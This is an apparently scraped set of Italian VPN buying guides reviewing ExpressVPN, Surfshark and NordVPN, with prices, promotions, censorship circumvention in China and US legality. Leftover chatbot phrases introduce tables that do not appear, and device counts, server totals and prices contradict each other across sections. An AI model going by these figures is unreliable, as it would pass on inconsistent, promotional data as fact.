È la scelta ideale per chi cerca la massima protezione e servizi aggiuntivi. 🌍 Server: 3000 server in 105 paesi 📱 Massimo dispositivi: 8 🆓 Versione Free: Garanzia rimborso di 30 giorni 💻 Compatibilità: Windows, macOS, Android, iOS, Linux 🔐 Sicurezza: IKEv2, OpenVPN 👨💻 Assistenza 24/7: ✔ 🏢 Sede legale: Isole Vergini Britanniche 🔥 Offerte attive: SCONTO fino al 49% + 3 mesi GRATIS ExpressVPN è un servizio di rete privata virtuale (VPN) che offre una soluzione completa per la sicurezza e la privacy online: Supporto 24/7: Offre un’assistenza clienti disponibile 24 ore su 24, 7 giorni su 7, tramite live chat. Garantire la privacy e la sicurezza: Crittografa il traffico internet e maschera l’indirizzo IP, rendendo le nostre attività online anonime e proteggendoci da occhi indiscreti come il provider di servizi internet, hacker e pubblicità. Superare le restrizioni geografiche: Permette di connettersi a server in numerosi Paesi in tutto il mondo (attualmente oltre 105), in modo da poter accedere a contenuti e siti web che potrebbero essere bloccati nelle nostre aree geografiche. Questo è particolarmente utile per lo streaming, per accedere a servizi di notizie o per aggirare la censura in alcuni Paesi. Alta velocità e affidabilità: ExpressVPN è noto per la sua velocità di connessione elevata e stabile, grazie anche al suo protocollo proprietario chiamato Lightway. Questo assicura un’esperienza di navigazione fluida e senza interruzioni. Proteggere i dati su più dispositivi: ExpressVPN è compatibile con numerosi sistemi operativi, tra cui Windows, macOS, Android, iOS e Linux. A seconda del piano, si possono collegare un certo numero di dispositivi contemporaneamente (dai 10 ai 14). Funzionalità aggiuntive: Oltre al servizio VPN principale, ExpressVPN offre anche diverse funzionalità extra, specialmente nei piani più avanzati, come: Protezione avanzata: Blocco di annunci pubblicitari, tracker e siti web dannosi. Gestore di password: Un tool per gestire in modo sicuro le credenziali. IP dedicato: Un indirizzo IP che viene utilizzato solo da noi (disponibile solo nel piano Pro). eSIM: Per alcuni piani a lungo termine, ExpressVPN include una eSIM con dati gratuiti da utilizzare in vacanza. Sconto su Aircove: Un router VPN che estende la protezione a tutti i dispositivi della casa. Politica di “no-log”: L’azienda afferma di non registrare l’attività online, le richieste DNS o altre informazioni che potrebbero essere utilizzate per identificare gli utenti. La sua tecnologia TrustedServer garantisce che nessun dato venga salvato sui dischi rigidi dei server. Al momento sono disponibili promozioni che arrivano fino all’82 % di sconto sul piano biennale includendo fino a 6 mesi extra gratuiti. Altri sconti comprendono 49 % di sconto sul piano di 15 mesi o 61 % sul piano biennale, spesso associati a coupon o a offerte riservate a studenti o nuovi utenti. ExpressVPN offre anche una prova gratuita di 7 giorni disponibile tramite App Store o Google Play per dispositivi mobili, e una garanzia di rimborso entro 30 giorni per acquisti tramite sito ufficiale (non sempre valida se sottoscritto tramite Apple App Store). Piano Base: $3.99/mese ($111.72 totali per 28 mesi) Piano Avanzato: $4.99/mese ($139.72 totali per 28 mesi) Piano Pro: $7.99/mese ($223.72 totali per 28 mesi) Piano Base: $4.99/mese ($74.85 totali per 15 mesi) Piano Avanzato: $5.99/mese ($89.85 totali per 15 mesi) Piano Pro: $8.99/mese ($134.85 totali per 15 mesi) Piano Base: $12.99/mese Piano Avanzato: $13.99/mese Piano Pro: $19.99/mese 🌍 Server: 3200+ in 100 paesi 📱 Massimo dispositivi: illimitati 🆓 Versione Free: Garanzia rimborso di 30 giorni 💻 Compatibilità: Windows, macOS, Android, iOS 🔐 Sicurezza: OpenVPN, IKEv2, Shadowsocks, Wireguard e L2TP 👨💻 Assistenza 24/7: ✔ 🏢 Sede legale: Paesi Bassi 🔥 Offerte attive: SCONTO fino all’83% + 3 mesi gratis 🔥 L’offerta Surfshark VPN propone le seguenti caratteristiche principali: Connessioni illimitate: Unico abbonamento su un numero illimitato di dispositivi. Garanzia di rimborso: offre una garanzia di rimborso entro 30 giorni. Server: dispone di oltre 3.200 server in 100 paesi. Politica no-log: garantisce di non monitorare, tracciare o archiviare le attività online. Funzionalità di sicurezza: include funzionalità come il Kill Switch (che interrompe la connessione internet in caso di caduta della VPN), CleanWeb (che blocca annunci, tracker e malware), Bypasser (split tunneling per escludere app dalla VPN), e Dynamic MultiHop (per instradare il traffico su due server). Sicurezza: utilizza la crittografia AES-256 e supporta protocolli come WireGuard, IKEv2 e OpenVPN. Prova gratuita: offre una prova gratuita di 7 giorni su alcuni dispositivi e, in generale, la possibilità di usufruire di una prova di 30 giorni grazie alla garanzia di rimborso. Pacchetti: oltre alla VPN, propone pacchetti “Surfshark One” o “Surfshark One+” che includono funzionalità aggiuntive come Antivirus, Alternative ID, Alert e Incogni (per la rimozione dei dati personali). Inoltre, ci sono diverse offerte promozionali e sconti disponibili, in particolare per gli abbonamenti a lungo termine (ad es. 24 mesi). Questo è il piano più basilare e meno costoso di Surfshark. È ideale per chi cerca una soluzione VPN affidabile per la protezione essenziale della navigazione, senza funzionalità aggiuntive. Prezzi: - 24 mesi (+3 extra): Il prezzo più conveniente a lungo termine, con un costo mensile di 1,99 € e un pagamento totale di 53,73 € per 27 mesi. - 12 mesi (+3 extra): Un’opzione di medio termine con un costo mensile di 3,19 € e un pagamento totale di 47,85 € per 15 mesi. - 1 mese: Il piano più flessibile ma anche il più costoso, a 15,45 € al mese. Questo piano è un’opzione intermedia che include tutte le funzionalità del piano Starter e aggiunge ulteriori strumenti per una sicurezza più robusta. È il piano più popolare, probabilmente per l’equilibrio tra costo e benefici aggiuntivi. Funzionalità aggiuntive: - Mascheramento email e documenti di identità: Funzionalità per proteggere ulteriormente i tuoi dati personali. - Rimozione dei dati personali dal web: Strumenti per aiutarti a rimuovere le tue informazioni personali da database online, migliorando la tua privacy. Prezzi: - 24 mesi (+3 extra): 2,49 € al mese, per un totale di 67,23 € per 27 mesi. - 12 mesi (+3 extra): 3,39 € al mese, per un totale di 50,85 € per 15 mesi. - 1 mese: 17,95 € al mese. Questo è il piano più completo e costoso, progettato per chi desidera la massima protezione e tutti i servizi offerti da Surfshark. Include tutte le funzionalità dei piani Starter e One, con l’aggiunta di strumenti avanzati per la rimozione dei dati personali. Funzionalità aggiuntive: Include tutte le funzionalità dei piani precedenti, con un focus avanzato sulla rimozione dei dati personali dal web, probabilmente con un servizio più proattivo o automatizzato. Prezzi: - 24 mesi (+3 extra): 3,99 € al mese, per un totale di 107,73 € per 27 mesi. - 12 mesi (+3 extra): 6,09 € al mese, per un totale di 91,35 € per 15 mesi. - 1 mese: 20,65 € al mese. Le VPN gratuite possono sembrare una soluzione conveniente per accedere a contenuti geo-bloccati, ma presentano diverse limitazioni. Innanzitutto, molte di esse impongono un limite di dati mensili o una velocità ridotta che rende difficile lo streaming continuo. In secondo luogo, raramente riescono a sbloccare piattaforme come Netflix o Disney+, poiché utilizzano IP condivisi facilmente individuabili. Ancora più preoccupante è il tema della sicurezza: alcuni servizi gratuiti monetizzano i dati degli utenti, esponendoli a rischi di tracciamento o pubblicità invasiva. Al contrario, le VPN a pagamento offrono connessioni rapide, larghezza di banda illimitata, una maggiore capacità di aggirare i blocchi, assistenza tecnica 24/7 e una politica trasparente sulla gestione dei dati personali. Per chi fa dello streaming un uso regolare, investire in una VPN premium è una scelta che ripaga in termini di qualità, affidabilità e tranquillità.

cybersecurity360.itAug 5, 2025extracted

Le migliori VPN per Mac, guida completa

cybersecurity360.itAug 5, 2025extracted

Le migliori VPN per gli USA 2025: guida completa a sicurezza, streaming e Privacy

Una VPN (Virtual Private Network) per gli USA si riferisce tipicamente a un servizio VPN che ha server situati negli Stati Uniti ed è utile per diverse ragioni: Accesso a contenuti esclusivi per gli USA: Molti servizi di streaming (come Netflix, Hulu, HBO Max), giochi online o siti web hanno librerie di contenuti o servizi con restrizioni geografiche agli Stati Uniti. Una VPN ci permette di “essere” virtualmente negli USA connettendoci a un server statunitense. Privacy e sicurezza: Quando ci colleghiamo a un server VPN, il nostro traffico internet viene crittografato e il nostro vero indirizzo IP viene nascosto. Questo migliora la privacy e sicurezza online, specialmente quando si usano reti Wi-Fi pubbliche. Aggirare la limitazione della larghezza di banda dell’ISP: Alcuni provider di servizi internet (ISP) potrebbero rallentare intenzionalmente certi tipi di traffico internet (come lo streaming o il torrenting). Una VPN può aiutare a eludere questo problema crittografando il nostro traffico, rendendo più difficile per l’ISP identificarlo e limitarlo. Indice degli argomenti Sì, l’uso di una VPN è perfettamente legale negli Stati Uniti. Non ci sono leggi federali che proibiscono l’uso delle VPN. Anzi, molte aziende e individui le usano per legittimi scopi di sicurezza e privacy. Tuttavia, è fondamentale capire che, sebbene l’uso di una VPN sia legale, qualsiasi attività illegale condotta tramite una VPN rimane illegale. Una VPN non garantisce l’immunità dalla legge. Diversi fornitori di VPN altamente stimati offrono una forte presenza negli USA con numerosi server e prestazioni eccellenti. Alcuni dei più frequentemente raccomandati includono: ExpressVPN: Spesso citato per la sua velocità, le robuste funzionalità di sicurezza e la capacità di sbloccare un’ampia gamma di servizi di streaming. NordVPN: Noto per la sua vasta rete di server (inclusi molti negli USA), le velocità elevate e le robuste funzionalità di sicurezza come Threat Protection. Surfshark: Un’opzione economica che offre connessioni simultanee illimitate, buone velocità e forti capacità di sblocco. Quando si scegli una VPN, bisogna inoltre considerare fattori come: Posizioni dei server negli USA: Assicurarsi che ci siano server nelle specifiche regioni degli Stati Uniti di cui si ha bisogno. Velocità: Cercare VPN che offrano velocità di connessione elevate per evitare buffering o download lenti. Funzionalità di sicurezza: Controllare la presenza di crittografia robusta, un kill switch e una politica di no-log. Capacità di sblocco dello streaming: Se si intende accedere a servizi di streaming statunitensi, verificare che la VPN sia efficace nell’aggirare le restrizioni geografiche. Prezzo e garanzia di rimborso: Confrontare i piani tariffari e cercare una garanzia di rimborso per testare il servizio senza rischi. Di seguito alcune soluzioni di VPN utili negli USA con specifiche su caratteristiche, vantaggi, svantaggi e prezzi. 🌍 Server: 7.000+ server in 118 paesi 📱 Massimo dispositivi: 10 📍 IP dedicato: ✔ 🆓 Versione Free: Garanzia rimborso di 30 giorni 💻 Compatibilità: Windows, macOS, Android, iOS 🔐 Sicurezza: IKEv2/IPsec, OpenVPN, NordLynx 👨💻 Assistenza 24/7: ✔ 🏢 Sede legale: Panama 🔥 Offerte attive: SCONTO fino al 63% NordVPN si distingue nel panorama delle VPN del 2025 per la sua impressionante rete globale composta da oltre 7.100 server distribuiti in 118 Paesi, inclusi centinaia ottimizzati per attività P2P e streaming grazie al protocollo proprietario NordLynx basato su WireGuard, che garantisce prestazioni elevate e latenze ridotte. La sicurezza è uno dei suoi punti di forza: crittografia AES‑256, perfetto forward secrecy, Double VPN opzionale, protocollo NordWhisper per la crittografia post‑quantum e funzionalità come Threat Protection Pro e Dark Web Monitor assicurano protezione su più livelli. NordVPN opera sotto una rigorosa politica no-log verificata da molteplici audit esterni (Deloitte e PwC tra il 2022 e il 2024), utilizza esclusivamente server basati su RAM per eliminare i dati ad ogni riavvio e offre kill switch configurabili sia a livello di applicazione che sistema, garantendo anonimato anche in caso di disconnessioni improvvise. Supporta fino a 10 dispositivi contemporaneamente e offre assistenza clienti disponibile 24/7 tramite live chat e ticket, con tempi di risposta rapidi guidati da una knowledge base completa . Tra i vantaggi, spiccano l’eccellente performance su streaming e torrent, l’ampiezza delle funzionalità di sicurezza, l’affidabilità del supporto e l’interfaccia intuitiva. Tra gli svantaggi si segnala la necessità di sottoscrivere piani a lungo termine per ottenere i migliori prezzi e l’assenza di port forwarding per applicazioni torrent avanzate. Alcuni utenti hanno criticato anche l’interfaccia su Linux o su iOS/macOS, dove il tunneling selettivo è ancora limitato. I prezzi partono da circa 3,39 $/mese (circa 3,10 €/mese) con il piano biennale “Basic”, mentre il pacchetto “Plus” con Threat Protection Pro e password manager sale a circa 3,79 €/mese, e il piano “Ultimate” (con cloud sicuro da 1 TB e assicurazione contro frodi) costa circa 5,29 €/mese per due anni. Tutti i piani includono una garanzia di rimborso di 30 giorni e occasionalmente sono disponibili promozioni come gift card Amazon, referral bonus, e trial gratuito su Android per 7 giorni. Di seguito una panoramica dei pacchetti disponibili, con i relativi prezzi e le funzionalità incluse per ogni durata del piano. Tutti i piani includono una Garanzia di rimborso di 30 giorni e sono soggetti all’applicazione dell’IVA al 22%. 🌍 Server: 3000 server in 105 paesi 📱 Massimo dispositivi: 8 🆓 Versione Free: Garanzia rimborso di 30 giorni 💻 Compatibilità: Windows, macOS, Android, iOS, Linux 🔐 Sicurezza: IKEv2, OpenVPN 👨💻 Assistenza 24/7: ✔ 🏢 Sede legale: Isole Vergini Britanniche 🔥 Offerte attive: SCONTO fino al 49% + 3 mesi GRATIS ExpressVPN, grazie al protocollo proprietario Lightway assicura connessioni rapide e stabili anche su lunghe distanze. È ideale per streaming, torrenting o accesso a contenuti geo-bloccati. I suoi server “trustedserver” basati solo su RAM garantiscono che nessun dato venga scritto su disco, mentre la crittografia AES‑256, la politica no-log verificata da audit esterni e il kill switch “Network Lock” proteggono privacy e sicurezza anche in caso di interruzioni della connessione. Tra i vantaggi principali si segnalano l’interfaccia intuitiva, supporto su più piattaforme inclusi router e smart TV, rete globale con oltre 3.000 server in 105 paesi, supporto 24/7 via chat e funzionalità come split tunneling e DNS leak protection. Tra gli svantaggi, va considerato il costo elevato rispetto ad altre VPN e il limite simultaneo a 8 dispositivi per account, con opzioni di personalizzazione meno estese rispetto ai concorrenti. Per quanto riguarda il prezzo, il piano mensile standard costa circa 12,95 USD (circa 12 €), l’abbonamento annuale costa circa 6,67 USD/mese (circa 6 €) mentre il piano biennale, il più conveniente, è di circa 4,99 USD/mese (circa 4,5 €) incluso uno sconto del 61% e quattro mesi extra gratuiti, che abbassano il costo effettivo a circa 4,27 €/mese secondo alcune stime. Tutti i piani includono una garanzia soddisfatti o rimborsati di 30 giorni e su Android/iOS è disponibile una prova gratuita di 7 giorni. Certamente! Ecco una spiegazione dettagliata delle offerte che hai fornito, organizzata in tabelle per una maggiore chiarezza. Esistono tre tipologie di abbonamento principali (Base, Avanzato, Pro) disponibili con tre durate diverse (2 anni, 12 mesi, 1 mese), ognuna con promozioni specifiche. Tutte le offerte includono una garanzia di rimborso di 30 giorni. Questa è l’offerta più conveniente in termini di risparmio percentuale e include 4 mesi gratuiti oltre ai 2 anni di servizio. Questa opzione offre un buon equilibrio tra durata e costo, includendo 3 mesi gratuiti. Questa è l’opzione più flessibile, ideale per chi desidera provare il servizio senza impegni a lungo termine, ma con il costo mensile più elevato. 🌍 Server: 3200+ in 100 paesi 📱 Massimo dispositivi: illimitati 🆓 Versione Free: Garanzia rimborso di 30 giorni 💻 Compatibilità: Windows, macOS, Android, iOS 🔐 Sicurezza: OpenVPN, IKEv2, Shadowsocks, Wireguard e L2TP 👨💻 Assistenza 24/7: ✔ 🏢 Sede legale: Paesi Bassi 🔥 Offerte attive: SCONTO fino all’83% + 3 mesi gratis 🔥 Surfshark si basa su oltre 3.200 server distribuiti in più di 100 Paesi e offre la possibilità di connessioni simultanee illimitate ideale per famiglie o utenti multi-device. Tra i suoi punti di forza figurano una crittografia AES‑256‑GCM, la rigorosa politica no‑log verificata da audit esterni, funzioni speciali come MultiHop per connessioni su doppio salto, CleanWeb per blocco di annunci e malware, Camouflage Mode e NoBorders per bypassare la censura, oltre al tunneling selettivo tramite Bypasser . Tra i vantaggi vi sono l’interfaccia intuitiva, l’eccellente supporto clienti attivo 24/7 tramite chat live e ticket, l’app nativa per Apple TV e il supporto allo smart DNS per console, streaming e dispositivi non compatibili con VPN dirette. Tuttavia, tra gli svantaggi si segnalano velocità leggermente inferiori su alcuni server distanti, la giurisdizione nei Paesi Bassi e l’assenza di assistenza telefonica . I prezzi sono molto competitivi: il piano Starter parte da circa €1,99/mese tramite abbonamento biennale, mentre l’opzione mensile è intorno a €15,45/mese; in alcune promozioni si arriva a sconti fino all’87% e 4 mesi extra gratis su tutte le durate contrattuali, con garanzia di rimborso entro 30 giorni e prova gratuita di 7 giorni su mobile. Certo, ecco una tabella completa che include i piani Starter, One e One+, con un focus sui prezzi e le funzionalità principali per i pacchetti da 24 mesi + 3 mesi extra, che offrono il miglior rapporto qualità-prezzo. Negli Stati Uniti la tutela della privacy online è spesso messa in discussione da normative come il Patriot Act e da accordi di sorveglianza internazionale. Utilizzare una VPN diventa quindi uno strumento indispensabile per cittadini e residenti che desiderano evitare il tracciamento da parte di provider, enti governativi o aziende. Una rete privata virtuale consente di criptare il traffico dati, nascondere l’indirizzo IP reale e proteggersi da attacchi su reti pubbliche. Questo è particolarmente importante in un contesto in cui il business della profilazione pubblicitaria è altamente sviluppato e la cybersecurity è spesso vulnerabile. Per offrire un servizio efficace su suolo americano una VPN deve disporre di una rete estesa di server negli Stati Uniti idealmente distribuiti tra le diverse aree geografiche, come costa Est, costa Ovest e regioni centrali. Questo garantisce una connessione stabile, veloce e riduce la latenza per chi desidera accedere a contenuti locali o navigare con un IP americano da qualsiasi parte del mondo. Inoltre, avere molte opzioni di server consente di aggirare facilmente blocchi o congestioni su determinate IP listate. Le politiche no-log indicano che il provider VPN non registra né conserva informazioni sulle attività online degli utenti. Negli USA, dove i fornitori di servizi possono essere legalmente obbligati a collaborare con le autorità, l’assenza di log è una garanzia fondamentale per chi cerca il massimo anonimato. Una politica no-log verificata da audit indipendenti dimostra che il provider non archivia cronologia, indirizzi IP, tempi di connessione o altri dati identificabili, rendendo impossibile risalire all’identità dell’utente in caso di richieste governative. Molti servizi online limitano la disponibilità dei loro contenuti in base alla posizione geografica dell’utente. Con una VPN dotata di server negli Stati Uniti, è possibile aggirare queste restrizioni e accedere a piattaforme, siti e app disponibili solo sul territorio americano. Questo vale non solo per contenuti di intrattenimento, ma anche per portali di informazione, strumenti software e database professionali accessibili esclusivamente da IP USA. Netflix USA offre uno dei cataloghi più vasti al mondo con titoli spesso non disponibili nei cataloghi europei o internazionali. Una VPN con server ottimizzati per lo streaming consente di simulare una connessione dagli Stati Uniti e accedere a film, serie TV e documentari esclusivi. Lo stesso vale per piattaforme come Hulu, HBO Max, Peacock, Paramount+ o ESPN. Per garantire un’esperienza fluida, è essenziale che la VPN garantisca velocità elevate, larghezza di banda illimitata e IP non bloccati dai sistemi anti-VPN. Negli USA l’uso delle VPN è assolutamente legale. Le VPN sono considerate strumenti legittimi per proteggere la privacy, accedere a reti aziendali da remoto o navigare in sicurezza. Tuttavia, resta ovviamente illegale qualsiasi attività compiuta attraverso la VPN che violi la legge, come il download non autorizzato di contenuti protetti da copyright o frodi informatiche. A livello di sicurezza, l’utilizzo di una VPN affidabile riduce notevolmente il rischio di violazioni dati, furti d’identità e intercettazioni, soprattutto quando si naviga su reti Wi-Fi pubbliche in aeroporti, hotel o caffè.

cybersecurity360.itAug 4, 2025extracted

Le migliori VPN per la Svizzera, guida completa

cybersecurity360.itAug 4, 2025extracted

Le migliori VPN per la Cina: guida completa

In un paese come la Cina, tra quelli che applicano forti restrizioni ai contenuti online, è fondamentale dotarsi di una VPN. Indice degli argomenti Usare una VPN in Cina è diventato uno strumento essenziale per chiunque desideri accedere liberamente a Internet e comunicare in modo sicuro. Il Paese di Mezzo applica una delle più severe forme di censura online al mondo, rendendo irraggiungibili molti dei servizi digitali utilizzati quotidianamente nel resto del pianeta. Una VPN consente di aggirare queste restrizioni, garantendo accesso a informazioni globali, strumenti di lavoro, social network e piattaforme indispensabili per la vita privata e professionale. Oltre a questo, protegge la connessione dell’utente da monitoraggi e interferenze, offrendo maggiore tranquillità in un contesto in cui il controllo digitale è costante. Il cosiddetto Grande Firewall è il sistema di censura digitale messo in atto dal governo cinese per filtrare e bloccare il traffico Internet in entrata e in uscita dal Paese. Agisce su più livelli, intervenendo sui DNS, limitando le connessioni VPN non autorizzate e bloccando l’accesso diretto a una lunga lista di domini e piattaforme occidentali. Le restrizioni si aggiornano di continuo, rendendo difficile l’utilizzo anche di strumenti alternativi. Solo alcune VPN riescono a eludere efficacemente questo sistema grazie a tecnologie avanzate come l’offuscamento del traffico o i server specializzati ma anche queste soluzioni devono aggiornarsi costantemente per restare operative. Qualunque sia il provider scelto, il software e le relative licenze devono essere scaricati, installati e configurati sul dispositivo prima di varcare il confine cinese. Una volta entrati nel territorio della Repubblica Popolare Cinese, tutti i siti web ufficiali dei provider VPN e gli store digitali (Google Play Store in primis, e le sezioni VPN dell’App Store di Apple) risultano completamente oscurati e inacessibili. La situazione legale delle VPN in Cina è complessa. In linea generale, le VPN non approvate dallo Stato sono considerate illegali per i residenti cinesi mentre per gli stranieri in viaggio o per alcune aziende internazionali viene tollerato l’uso, soprattutto se legato a esigenze di lavoro. In linea generale, le VPN approvate dal governo cinese esistono, ma non garantiscono la privacy e l’accesso illimitato che un utente occidentale cerca, in quanto devono rispettare le leggi di censura e sui dati cinesi. Non sono la soluzione per aggirare il Great Firewall. Tuttavia, l’accesso a una VPN non ufficiale può comunque comportare rischi, tra cui il blocco dell’app, disconnessioni improvvise o, in casi estremi, avvertimenti da parte delle autorità. Per i turisti e stranieri: generalmente, il margine di tolleranza è più ampio. L’uso di una VPN per accedere a servizi come Google o social media non comporta solitamente gravi conseguenze, anche se la VPN stessa potrebbe essere bloccata o rallentata. Le autorità tendono a concentrarsi maggiormente sui fornitori di VPN non autorizzati piuttosto che sui singoli utenti. In Cina sono bloccati molti dei principali servizi online occidentali. Tra questi si trovano Google (inclusi Gmail, Google Maps, Google Drive), tutti i social network come Facebook, Instagram, WhatsApp, X (ex-Twitter), oltre a piattaforme video come YouTube, Netflix e Vimeo. Anche molte testate giornalistiche internazionali, motori di ricerca alternativi e servizi cloud non cinesi risultano irraggiungibili. Ciò comporta difficoltà sia nel mantenere i contatti con amici e colleghi, sia nell’accedere a informazioni aggiornate e indipendenti, rendendo l’uso di una VPN quasi imprescindibile. Oltre a garantire accesso libero al web, una VPN in Cina è uno strumento cruciale per proteggere la propria privacy. Le connessioni vengono monitorate con strumenti sofisticati, e ogni attività digitale può essere soggetta a sorveglianza. Una VPN sicura cripta il traffico Internet, nasconde l’indirizzo IP e impedisce che terze parti, inclusi ISP o enti governativi, possano analizzare i dati trasmessi. Questo livello di protezione è essenziale sia per tutelare la riservatezza delle comunicazioni personali, sia per prevenire eventuali vulnerabilità durante l’uso di reti Wi-Fi pubbliche o aziendali. In un contesto come quello cinese, la VPN non è solo uno strumento tecnico ma una necessità per la libertà digitale. Data la costante evoluzione del Great Firewall, è difficile dare una lista definitiva e immutabile. Tuttavia, alcune VPN si sono dimostrate più resilienti e affidabili nel tempo: NordVPN: Offre server offuscati specifici per eludere la censura cinese e una buona combinazione di velocità e sicurezza. Surfshark: Connessioni illimitate e funzioni “NoBorders” o “Camouflage Mode” progettate per la Cina. È anche una soluzione più economica. Proton VPN: Offre server Secure Core per una maggiore protezione e stabilità. ExpressVPN: Spesso citata come una delle migliori per la Cina grazie alla sua velocità, affidabilità e al protocollo Lightway. Astrill VPN: Molto popolare tra gli espatriati in Cina per la sua affidabilità, anche se può essere più costosa. VyprVPN: Conosciuta per il suo protocollo Chameleon, specificamente progettato per aggirare la censura. PrivateVPN: Anche se meno menzionata, alcune fonti indicano che ha funzionalità di offuscamento efficaci. eSIM con dati internazionali: alcune eSIM offrono piani dati internazionali anche per la Cina che non sono soggetti alle restrizioni del Great Firewall, permettendoti di navigare liberamente senza VPN. Questa può essere un’ottima alternativa per cui segnaliamo: 🇮🇹 Server in Italia: 60+ server a Roma, Milano e Palermo 🌍 Server: 7000+ server in 118 paesi 📱 Massimo dispositivi: 10 📍 IP dedicato: ✔ 🆓 Versione Free: Garanzia rimborso di 30 giorni 💻 Compatibilità: Windows, macOS, Android, iOS 🔐 Sicurezza: IKEv2/IPsec, OpenVPN, NordLynx, WireGuard, NordWhisper 👨💻 Assistenza 24/7: ✔ 🏢 Sede legale: Panama 🔥 Offerte attive: SCONTO fino al 72% NordVPN mantiene un’elevata efficacia in Cina grazie a una sezione dedicata della sua rete hardware. NoBorders Mode: una funzione software che si attiva automaticamente quando l’app rileva restrizioni di rete severe, fornendo una lista ristretta di server che stanno performando con successo sotto censura. Server offuscati (Obfuscated Servers): per connettersi dalla Cina, l’utente deve selezionare manualmente questi server dall’interfaccia, i quali operano configurando il protocollo OpenVPN su porta TCP. Questo sistema altera la firma digitale dei dati cifrati. L’efficacia operativa di NordVPN è determinata da asset hardware proprietari e da soluzioni di ingegneria del software uniche nel settore, validate dai report indipendenti di AV-TEST e West Coast Labs (Rating 58/60 e certificazione AAA). Protocollo NordLynx: implementazione proprietaria basata sull’architettura open-source WireGuard. Sostituisce la cifratura pesante dei vecchi protocolli con l’algoritmo ChaCha20, ottimizzando il calcolo della CPU. Integra un sistema a doppio NAT dinamico per garantire l’anonimato assoluto a livello di server, azzerando la perdita di banda residua (velocità di download media registrata di 817 Mbps su linee Gigabit da West Coast Labs). Dimensionamento della flotta: la rete globale conta oltre 9.500 server diskless dislocati in più di 135 Paesi. L’intera infrastruttura opera esclusivamente su memoria RAM volatile (RAM-Only), impedendo fisicamente la persistenza dei dati e garantendo la conformità con la politica di no-log verificata da costanti audit esterni (PwC e Deloitte). Moduli di sicurezza avanzata (Threat Protection Pro™): Sistema di protezione locale basato su intelligenza artificiale. Effettua la scansione preventiva dei file in fase di download per intercettare malware (con un tasso di rilevamento del 99,8% certificato WCL), inibisce i tracker di profilazione pubblicitaria e blocca i tentativi di phishing prima del caricamento della pagina. Routing specialistico: include nodi di rete dedicati all’offuscamento del traffico (Obfuscated Servers per eludere il Great Firewall cinese), server ottimizzati per lo scambio dati P2P/Torrent, e configurazioni Double VPN (Multi-hop) che incapsulano i flussi dati in due livelli di crittografia consecutivi. La strategia di penetrazione commerciale di NordVPN si basa su forti sconti progressivi applicati ai cicli di fatturazione a lungo termine (1 e 2 anni), spesso abbinati a mesi extra di estensione della licenza. Ciascun account supporta fino a 10 dispositivi connessi simultaneamente. Configurazione focalizzata sulle prestazioni di rete pure e sulla protezione dei flussi dati. Infrastruttura: Accesso alla rete ultra-veloce (fino a 10 Gbps) con protocollo proprietario NordLynx. Sicurezza: Crittografia di livello militare AES-256 e protezione da truffe/phishing. Monitoraggio: Dark Web Monitor™ integrato per un massimo di 5 indirizzi email. Connettività: Fino a 10 dispositivi protetti simultaneamente. Il pacchetto intermedio che estende la protezione a livello software locale e di gestione delle identità. Integrazione Funzionalità Base: Include tutte le caratteristiche del piano Base. Antivirus Integrato: Modulo Threat Protection Pro™ con protezione anti-malware di ultima generazione e blocco di pubblicità/tracker in tempo reale. Gestione credenziali: Licenza completa per il Password Manager multipiattaforma con modulo Data Breach Scanner associato. Email Safety: Protezione illimitata delle email da allegati o link malevoli. La suite omnicomprensiva per la tutela della riservatezza dei dati, dell’identità e del patrimonio digitale. Integrazione Funzionalità Plus: include tutte le caratteristiche del piano Plus. Monitoraggio Avanzato: Dark Web Monitor Pro™ esteso fino a 8 indirizzi email, numeri di telefono, carte di credito e documenti d’identità. Sicurezza Vocale: protezione dalle truffe telefoniche con visualizzazione dell’ID chiamante e rilevamento preventivo dello spoofing/telemarketing. Storage Cloud: 1 TB di spazio di archiviazione crittografata end-to-end su cloud sicuro. Assicurazione Cyber: copertura assicurativa con massimale fino a 5.000 € per il recupero delle perdite finanziarie derivanti da truffe informatiche e il rimborso dei costi legali/amministrativi causati dal furto d’identità (valida per i residenti in Italia). Fatturazione e rinnovo: alla scadenza del periodo iniziale, l’abbonamento si rinnova automaticamente su base annuale alle tariffe standard: 139,08 € per il piano Base 179,88 € per il Plus 256,68 € per l’Ultimate Clausola di recesso: rimane attiva la garanzia di rimborso integrale entro i primi 30 giorni dall’acquisto iniziale tramite l’assistenza clienti h24. 🌍 Server: 3200+ in 100 paesi 📱 Massimo dispositivi: illimitati 🆓 Versione Free: Garanzia rimborso di 30 giorni 💻 Compatibilità: Windows, macOS, Android, iOS 🔐 Sicurezza: OpenVPN, IKEv2, Shadowsocks, Wireguard e L2TP 👨💻 Assistenza 24/7: ✔ 🏢 Sede legale: Paesi Bassi 🔥 Offerte attive: SCONTO fino all’83% + 3 mesi gratis 🔥 L’analisi tecnica del network hardware evidenzia un potenziamento strategico rispetto ai dati storici del provider: Scala del Network: Surfshark dispone di oltre 4.500 server globali distribuiti capillarmente in 100 Paesi. Hardware Diskless e banda: tutti i nodi della rete operano su architettura RAM-Only (memoria volatile che impedisce la memorizzazione fisica dei log) e sono stati interamente aggiornati con schede di rete da 10 Gbps per massimizzare la stabilità del throughput. Performance di picco: i benchmark indipendenti validati da TechRadar registrano picchi di velocità di connessione superiori ai 1.500 Mbps (fino a 1.615 Mbps), posizionando l’infrastruttura ai vertici della categoria premium. I canoni indicati rappresentano il costo mensile equivalente. I pacchetti pluriennali prevedono una fatturazione unica anticipata che include 24 mesi più 3 mesi extra (per un totale di 27 mesi di servizio), mentre l’abbonamento annuale include 12 mesi più 3 mesi EXTRA (per un totale di 15 mesi). Configurazione focalizzata sulla protezione della connessione e sulla gestione dell’identità digitale comune. Ecosistema VPN: accesso illimitato alla rete crittografata su un numero illimitato di dispositivi contemporaneamente. Include funzioni core come il Cookie pop-up blocker, l’Ad blocker (CleanWeb) e i sistemi di routing dinamico (Bypasser, Rotazione IP, Dynamic MultiHop). Alternative ID: Modulo per la generazione automatica di pseudonimi e proxy email per la protezione dei dati sensibili contro lo spam e i data leak. Rappresenta la soluzione integrata per la protezione locale dei dispositivi e il monitoraggio degli account. Include tutte le funzionalità del piano Starter, estendendo la licenza a: Surfshark Antivirus: protezione in tempo reale e scansioni pianificate contro malware, ransomware e attacchi phishing, con estensione di sicurezza specifica per la webcam. Surfshark Alert: sistema di tracciamento e notifica h24 in caso di esposizione online di dati personali, carte di credito o documenti d’identità. Surfshark Search: motore di ricerca privato nativo, privo di inserzioni pubblicitarie e sistemi di tracciamento della profilazione. Il livello massimo dell’offerta, orientato alla bonifica e alla rimozione attiva delle informazioni sensibili dal web. Include l’intero ecosistema del piano One con l’aggiunta di: Incogni: servizio integrato per la 